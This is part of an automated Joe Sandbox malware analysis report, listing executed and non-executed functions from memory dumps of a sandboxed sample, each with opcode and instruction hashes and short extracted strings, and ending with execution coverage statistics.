                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_13d000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: da1bc06a015ab215ed5f72c3c29a332cd436a3f278bdcb99c31a104566e7ff5b
                                                                                                              • Instruction ID: a8ccb1f191662f27a1b955b5d94339e3985cc2b0c8455a99d33b84fee28cfdcf
                                                                                                              • Opcode Fuzzy Hash: da1bc06a015ab215ed5f72c3c29a332cd436a3f278bdcb99c31a104566e7ff5b
                                                                                                              • Instruction Fuzzy Hash: 94119D75504280DFDB12CF14E5C4B16FFA1FB84314F24C6ADD8494B656C33AD85ACB62
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0012D1FD Relevance: .0, Instructions: 45COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452310976.000000000012D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0012D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_12d000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 2e34caecbd1b02ea2db776b6e9199b40d67747ac5f68dbce9d6d24de4d973db0
                                                                                                              • Instruction ID: 9dbcab55847df73b5b537a38d5492257b1f2fa4b17e9d2664be594329f24eae9
                                                                                                              • Opcode Fuzzy Hash: 2e34caecbd1b02ea2db776b6e9199b40d67747ac5f68dbce9d6d24de4d973db0
                                                                                                              • Instruction Fuzzy Hash: FE01F27140C354DAD7108A26F884B67FBD8EF81764F29C05AEE045B283C378D840DAB1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0012D1FC Relevance: .0, Instructions: 36COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452310976.000000000012D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0012D000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_12d000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: e354b7ce1506658f3bd0fd2dcd311bffbbe976fef3520dd74be1cb25ee704c63
                                                                                                              • Instruction ID: 4f101db99556733e9f6339b863885494a8c791b0d4ee14caf0d0a854da45de06
                                                                                                              • Opcode Fuzzy Hash: e354b7ce1506658f3bd0fd2dcd311bffbbe976fef3520dd74be1cb25ee704c63
                                                                                                              • Instruction Fuzzy Hash: C7F062714087549EE7108A16E884B67FFD8EF91764F28C49AED085B287C3789C44CBB1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Non-executed Functions

                                                                                                              Function 00195308 Relevance: 5.2, Strings: 4, Instructions: 155COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: [a(6$eW)$eW)$hqr
                                                                                                              • API String ID: 0-2027486457
                                                                                                              • Opcode ID: 94991a469829c0cd51ebea3f94a900274d545b1d01c6f69985866604ec9a1764
                                                                                                              • Instruction ID: 788391a4933e405b7c3cb3fe32a466aae009d6fe04a22793be06802f9791683d
                                                                                                              • Opcode Fuzzy Hash: 94991a469829c0cd51ebea3f94a900274d545b1d01c6f69985866604ec9a1764
                                                                                                              • Instruction Fuzzy Hash: 1561E074E05609DBCF08CFA9C9809EEFBF2BB89350F65942AD415BB324D334AA418F55
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00194A58 Relevance: 3.9, Strings: 3, Instructions: 160COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: vdu$vdu$vdu
                                                                                                              • API String ID: 0-2517124486
                                                                                                              • Opcode ID: 1da4e3bc8f2f62c6f99be2d5e4381d552eeb35ad03ae4d327eae42bac0565d31
                                                                                                              • Instruction ID: 5dd248971c57827d33b7b493affcc7e453146165869d807a950c45fe722ba3b3
                                                                                                              • Opcode Fuzzy Hash: 1da4e3bc8f2f62c6f99be2d5e4381d552eeb35ad03ae4d327eae42bac0565d31
                                                                                                              • Instruction Fuzzy Hash: F071C2B4E05259DFCF08CF99D5809AEFBB2BF88310F25851AD416A7314D334A982CF99
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 001952F8 Relevance: 3.9, Strings: 3, Instructions: 157COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: [a(6$eW)$hqr
                                                                                                              • API String ID: 0-1907746043
                                                                                                              • Opcode ID: 1962c83fb3385972653194e8f9ca7483d5426a12011c6491bddb195d2d018905
                                                                                                              • Instruction ID: f74e56eb3ad5d6dca30f43a5e7e54d33ed74b228bc794b87e44cf4e47949be7d
                                                                                                              • Opcode Fuzzy Hash: 1962c83fb3385972653194e8f9ca7483d5426a12011c6491bddb195d2d018905
                                                                                                              • Instruction Fuzzy Hash: 75610174E056099FCF08CFA9C9809AEBBF2BF89350F25906AD405B7225D374AA41CB65
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00194A48 Relevance: 3.9, Strings: 3, Instructions: 155COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: vdu$vdu$vdu
                                                                                                              • API String ID: 0-2517124486
                                                                                                              • Opcode ID: 818860453c3fc57455921a64a96f385816c2b6ad25b26c27e82523b22b45c583
                                                                                                              • Instruction ID: 01a08657268f1a6304b5a7e4ee60115606692e4a7b966e6033a183c7cca90e21
                                                                                                              • Opcode Fuzzy Hash: 818860453c3fc57455921a64a96f385816c2b6ad25b26c27e82523b22b45c583
                                                                                                              • Instruction Fuzzy Hash: F861D274E0524ACFCF08CFA9C5809AEFBB2BF89310F25855AD416A7255D334A982CF95
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00756390 Relevance: 2.9, Strings: 2, Instructions: 443COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452935633.0000000000750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00750000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_750000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: $4p
                                                                                                              • API String ID: 0-131088520
                                                                                                              • Opcode ID: 17cf1fa8298f5da4dae3c574eda4dfb2a4e2c3697268125d5be6e14c992f1350
                                                                                                              • Instruction ID: a58aab88cc016d0999cecc9cfef8ce9f7f20a43bbab1bd96a91bfec5ee32fdfa
                                                                                                              • Opcode Fuzzy Hash: 17cf1fa8298f5da4dae3c574eda4dfb2a4e2c3697268125d5be6e14c992f1350
                                                                                                              • Instruction Fuzzy Hash: F322BF74E00218CFDB14CFA9C984AEDFBF2BF88305F648169E909A7255DB78A945CF50
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0019B890 Relevance: 2.7, Strings: 2, Instructions: 238COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: jQd$|%n
                                                                                                              • API String ID: 0-2638532043
                                                                                                              • Opcode ID: 3b33125a9baa5e471aef5568e0b73d69a2d51034894a369134e6894f8c82d585
                                                                                                              • Instruction ID: fe8cfd2907f46752e3736875ddda53d4ae4ca97acd819267d3faceafaba40a39
                                                                                                              • Opcode Fuzzy Hash: 3b33125a9baa5e471aef5568e0b73d69a2d51034894a369134e6894f8c82d585
                                                                                                              • Instruction Fuzzy Hash: 26B10974E142698BCB14CFA9D580AADFBF2BF89304F25C169D509AB356DB30AD41CF60
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00193EE0 Relevance: 2.7, Strings: 2, Instructions: 190COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: ;$;
                                                                                                              • API String ID: 0-2543639521
                                                                                                              • Opcode ID: f99dfd34ab24c5a40dcadbf181c6f0bace9a541bda9ab3af1f92e09b52c21422
                                                                                                              • Instruction ID: 5e481e173fb498c1c2cfeaed2a164faba9fe7be7653a28768fd4d66d67382250
                                                                                                              • Opcode Fuzzy Hash: f99dfd34ab24c5a40dcadbf181c6f0bace9a541bda9ab3af1f92e09b52c21422
                                                                                                              • Instruction Fuzzy Hash: 0881DF74E14219CFCB04CFA9D5849AEFBF2FF88310F25956AE415AB224D330AA46CF51
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00195100 Relevance: 2.6, Strings: 2, Instructions: 101COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: d,=$d,=
                                                                                                              • API String ID: 0-1433231585
                                                                                                              • Opcode ID: c7aa9f3f2874c43ee9581073a65e233ee878e3464e187c3e555b902361bf2599
                                                                                                              • Instruction ID: 793819f0eaf505ee1ce56f00f7740f2029401cfa09887b5384d33767502813ca
                                                                                                              • Opcode Fuzzy Hash: c7aa9f3f2874c43ee9581073a65e233ee878e3464e187c3e555b902361bf2599
                                                                                                              • Instruction Fuzzy Hash: EF4196B0E046099FCF49CFAAC5815AEFBF2AF88300F25C56AD519B7214D7349A45CF94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0019A280 Relevance: 1.4, Strings: 1, Instructions: 169COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: 1c
                                                                                                              • API String ID: 0-1502518657
                                                                                                              • Opcode ID: 43996078277e4056f6163a54619d15c885d3909318ca50df4da8405803caf694
                                                                                                              • Instruction ID: 9c2ec49d66f7bb22ecea6a33079318b281b957ac8d2387935b0842853bc3f54a
                                                                                                              • Opcode Fuzzy Hash: 43996078277e4056f6163a54619d15c885d3909318ca50df4da8405803caf694
                                                                                                              • Instruction Fuzzy Hash: CE716D74E041698BCB14DFA9D5809AEFBF2BF89304F29C169D418A730AC730AD45CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0019A271 Relevance: 1.4, Strings: 1, Instructions: 166COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: 1c
                                                                                                              • API String ID: 0-1502518657
                                                                                                              • Opcode ID: fce8ffb8ee377b88b4109e2c7ae1912f607d80a8b6e55d62a8af7847c48b04de
                                                                                                              • Instruction ID: 573a66eaef9d3a7529c4f14de6e2ca0477a2b04cbd6168526357b07ad60a29cb
                                                                                                              • Opcode Fuzzy Hash: fce8ffb8ee377b88b4109e2c7ae1912f607d80a8b6e55d62a8af7847c48b04de
                                                                                                              • Instruction Fuzzy Hash: 31717E74E041698BDB14DFA9D5809AEFBF2BF89304F69C169D408A731AC730AD45CFA1
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00194D48 Relevance: 1.4, Strings: 1, Instructions: 159COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: (YsU
                                                                                                              • API String ID: 0-951894716
                                                                                                              • Opcode ID: 003baab573bef727140925e569e11a41f28c75b4109c2ca3a1f412af184004d5
                                                                                                              • Instruction ID: b71f3d1ccda3fc2621d7066e6582b144fd954571924cb8d647dc26ac3e472197
                                                                                                              • Opcode Fuzzy Hash: 003baab573bef727140925e569e11a41f28c75b4109c2ca3a1f412af184004d5
                                                                                                              • Instruction Fuzzy Hash: 8B6115B5D0520ADFCF08CFA9D4819AEFBF2BF99300F25816AD555A7240D334AA42CF90
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 007513E4 Relevance: 1.4, Strings: 1, Instructions: 113COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452935633.0000000000750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00750000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_750000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: UUUU
                                                                                                              • API String ID: 0-1798160573
                                                                                                              • Opcode ID: e865051ac3d2dde71abfe74ab27dd076bbd13595cbdbd154bba192c8cc17b36c
                                                                                                              • Instruction ID: a5069b8bcdd909033c2bae7a2fccf3792c1a584f2cd991c1174000c277a23b05
                                                                                                              • Opcode Fuzzy Hash: e865051ac3d2dde71abfe74ab27dd076bbd13595cbdbd154bba192c8cc17b36c
                                                                                                              • Instruction Fuzzy Hash: 6B513C74E14628CFDB64CFADC884A9DBBF1BF88304F1485A9D568EB209D774A946CF01
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 001950F0 Relevance: 1.4, Strings: 1, Instructions: 105COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: d,=
                                                                                                              • API String ID: 0-1871403597
                                                                                                              • Opcode ID: 777a42900abff8ad14ecaf5a22ff5a4ae9a0b27b5523bcf8cfe4f0d81f93687b
                                                                                                              • Instruction ID: 5c5f75c313044750f605810df28a2fea4c307bd317f3097f5fbc49f9403001ba
                                                                                                              • Opcode Fuzzy Hash: 777a42900abff8ad14ecaf5a22ff5a4ae9a0b27b5523bcf8cfe4f0d81f93687b
                                                                                                              • Instruction Fuzzy Hash: 1B41D5B0E0460A9FCF09CFAAC8815AEFBF2AF89310F25C56AD415B7254D7349A45CF54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00750D08 Relevance: 1.3, Strings: 1, Instructions: 90COMMON
                                                                                                              Download Yara Rule
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452935633.0000000000750000.00000040.00000800.00020000.00000000.sdmp, Offset: 00750000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_750000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID: v
                                                                                                              • API String ID: 0-1801730948
                                                                                                              • Opcode ID: 022be3fd5c33b8f4f783657fab42e0473194e724fda91623cb9b115356f2f379
                                                                                                              • Instruction ID: f4c55db47028ae2ab4e5651dd7b79376baffa4f6bf01dd8fd0b76654b9f1d55d
                                                                                                              • Opcode Fuzzy Hash: 022be3fd5c33b8f4f783657fab42e0473194e724fda91623cb9b115356f2f379
                                                                                                              • Instruction Fuzzy Hash: 1B314371E056588BEB1DCF6B8D406DEFAF7AFC9301F14C1BA880CAA265DB7406468F11
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00193ED1 Relevance: .2, Instructions: 189COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: bd097fc72a8e347f5fa7224bf351800cc27c80d131bcd6614251a991dd17e747
                                                                                                              • Instruction ID: 2aad4ef8410de962aef34f8ccb154920de66241861eb6fff7a2f4aabf8fa1b9d
                                                                                                              • Opcode Fuzzy Hash: bd097fc72a8e347f5fa7224bf351800cc27c80d131bcd6614251a991dd17e747
                                                                                                              • Instruction Fuzzy Hash: 1981F274E15219CFCB04CFA9D5848AEFBF2FF89310B25956AE415AB320D334AA46CF51
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00198A20 Relevance: .2, Instructions: 156COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 37690fe46bbdee1deb62e147a91ac22c103e14989b568ad51f042e3631eabbf1
                                                                                                              • Instruction ID: 5badc6579c47a0c71f4fe44754fd8538839660482b47146c54daee9dadc136af
                                                                                                              • Opcode Fuzzy Hash: 37690fe46bbdee1deb62e147a91ac22c103e14989b568ad51f042e3631eabbf1
                                                                                                              • Instruction Fuzzy Hash: A5618F70D093988FCB06CF69C89069DBFB2FF8A300F1581AAD549AB266DB345D45CF61
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00768EE0 Relevance: .1, Instructions: 145COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452952684.0000000000760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00760000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_760000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 70cef5f0d7f4d228c609a51f9ee9cbc067ff4de74e7ee2d4b5387e1382d08f4d
                                                                                                              • Instruction ID: 8501c3b4a3066199d34f68774849d081b0d99fd7a49248c77f91b47b38160be1
                                                                                                              • Opcode Fuzzy Hash: 70cef5f0d7f4d228c609a51f9ee9cbc067ff4de74e7ee2d4b5387e1382d08f4d
                                                                                                              • Instruction Fuzzy Hash: 51514A74904209CFDB46EFB6E945A9EBBB6EB85304F008529D1049F368EF346A498B91
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00195538 Relevance: .1, Instructions: 122COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 89683fef606e6d8c6cf74d8d76e412e74e31f10dacb5f8693a387b388e99f784
                                                                                                              • Instruction ID: 869ce8dec71ffd81e5f57601c3074fce44f9957057ee8354a6b930061933b197
                                                                                                              • Opcode Fuzzy Hash: 89683fef606e6d8c6cf74d8d76e412e74e31f10dacb5f8693a387b388e99f784
                                                                                                              • Instruction Fuzzy Hash: 7651F8B0E1560A9FDB09CFA6C5814AEFBF2AF89300F25C46AC505B7225D3349A41CF94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00195548 Relevance: .1, Instructions: 120COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 57e849cc3fe2c0d6e59846f05e506a202ea1c1e3abfae630eac856b8ef788f03
                                                                                                              • Instruction ID: 9ff992451476edccd7f7a1b98e751aa86f66a11b326392b7d581c73cb66da875
                                                                                                              • Opcode Fuzzy Hash: 57e849cc3fe2c0d6e59846f05e506a202ea1c1e3abfae630eac856b8ef788f03
                                                                                                              • Instruction Fuzzy Hash: 0E51E4B0E0560A9BDF08CFAAC5815AEFBF2AF89300F25942AC505B7214D7349A41CF94
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00193519 Relevance: .1, Instructions: 116COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 874f540dfd95a8cf8d7ab82378397782ba5072989dcd6ebbeef84e96d0b94c5a
                                                                                                              • Instruction ID: 4fdfd3ee603a72a2b7df1c1b8af0edc4aff88f65234ee614ab09298825c1a437
                                                                                                              • Opcode Fuzzy Hash: 874f540dfd95a8cf8d7ab82378397782ba5072989dcd6ebbeef84e96d0b94c5a
                                                                                                              • Instruction Fuzzy Hash: 0E415D70A09249CFDB05CFA9C8904DEBBF1FF8A310B1A95AAD455AB222D3349A45CF51
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00763C38 Relevance: .1, Instructions: 115COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452952684.0000000000760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00760000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_760000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 08773104f79a456a5ca141c57e183c03640bf5b96b7134f88d11615e042b95f3
                                                                                                              • Instruction ID: 2560f0e6ebd7ea47c3434fdce12096be69cb94fb49a2feb1f001b7b85671a599
                                                                                                              • Opcode Fuzzy Hash: 08773104f79a456a5ca141c57e183c03640bf5b96b7134f88d11615e042b95f3
                                                                                                              • Instruction Fuzzy Hash: F74147B4E052099FDB05CFA5D9406EEBBF6FB89300F20952AD816BB254E7385B01CF65
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00195750 Relevance: .1, Instructions: 113COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452412779.0000000000190000.00000040.00000800.00020000.00000000.sdmp, Offset: 00190000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_190000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 71d55cfc14158e3dc8788b5e0eab9e3d7b222fcb00347f0acd26374f5c14ca67
                                                                                                              • Instruction ID: 4d24311a179e44e997521193a1086c27f8982c1ae16786b62710d51874e5e680
                                                                                                              • Opcode Fuzzy Hash: 71d55cfc14158e3dc8788b5e0eab9e3d7b222fcb00347f0acd26374f5c14ca67
                                                                                                              • Instruction Fuzzy Hash: 0B416D71E056588BDB58CF6B8D4469EFBF3BFC9300F14C1BA850CA6265EB301A858F11
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00769138 Relevance: .1, Instructions: 104COMMON
                                                                                                              Download Yara Rule
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000004.00000002.452952684.0000000000760000.00000040.00000800.00020000.00000000.sdmp, Offset: 00760000, based on PE: false
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_4_2_760000_name.jbxd
                                                                                                              Similarity
                                                                                                              • API ID:
                                                                                                              • String ID:
                                                                                                              • API String ID:
                                                                                                              • Opcode ID: 5bdfdf19f1dd7b18504368e57a5e8ed8259157407cc9028086edb3fc13984ff9
                                                                                                              • Instruction ID: 016cee6958501e9b006306dfb44ab12da208ae5ba1c56732dbc4cb2150a255ec
                                                                                                              • Opcode Fuzzy Hash: 5bdfdf19f1dd7b18504368e57a5e8ed8259157407cc9028086edb3fc13984ff9
                                                                                                              • Instruction Fuzzy Hash: C74164B1D056188BEB5CCF6B8D4078AFAF7AFC9300F14C0BA894DA7215DB3409858F15
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Execution Graph

                                                                                                              Execution Coverage:20.8%
                                                                                                              Dynamic/Decrypted Code Coverage:100%
                                                                                                              Signature Coverage:43%
                                                                                                              Total number of Nodes:86
                                                                                                              Total number of Limit Nodes:3
